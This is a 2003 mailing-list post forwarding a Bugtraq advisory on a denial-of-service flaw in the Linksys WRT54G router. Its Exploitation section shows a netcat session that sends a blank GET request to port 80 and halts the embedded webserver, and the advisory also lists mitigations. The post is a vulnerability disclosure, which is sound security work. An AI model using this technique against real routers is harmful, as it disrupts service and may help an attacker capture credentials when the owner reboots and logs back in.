hacking security forum

[Full-Disclosure] [Fwd: Bugtraq: Linksys WRT54G Denial of Service Vulnerability]

From: Michael Renzmann <security@dylanic.de>
Date: Wed Dec 03 2003 - 22:42:40 CST

Can anyone confirm if technically identical devices such as the Buffalo
WBR-G54 share this vulnerability?

-------- Original Message --------
Subject: Linksys WRT54G Denial of Service Vulnerability
Date: 3 Dec 2003 22:35:26 -0000
From: <test@techcentric.net>
To: bugtraq@securityfocus.com

Linksys WRT54G Denial of Service Vulnerability

System(s)

===========

Tested on Linksys WRT54G v1.0 (firmware v 1.42.3)

Detail(s)

===========

Sending a blank GET request to the router on port 80 (or 8080) halts the
embedded webserver. This may allow an attacker to force the owner to
reboot the router, allowing them to gain sensitive information during
router authentication.

Exploitation

============

user@test:~$ nc 10.0.0.1 80

GET

user@test:~$ nc 10.0.0.1 80

(UNKNOWN) [10.0.0.1] 80 (http) : Connection refused

user@test:~$

Solution(s)

============

- Https service should continue running for remote access.

- Scan for sniffers that might be on the network before rebooting and
performing any authentication.

- Wait for a vendor patch :)

Status

============

Vendor contacted on 12/03/03.

!HAPPY HOLIDAYS!

carbon@techcentric.net - 12/02/03

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Received on Wed Dec 03 22:52:54 2003

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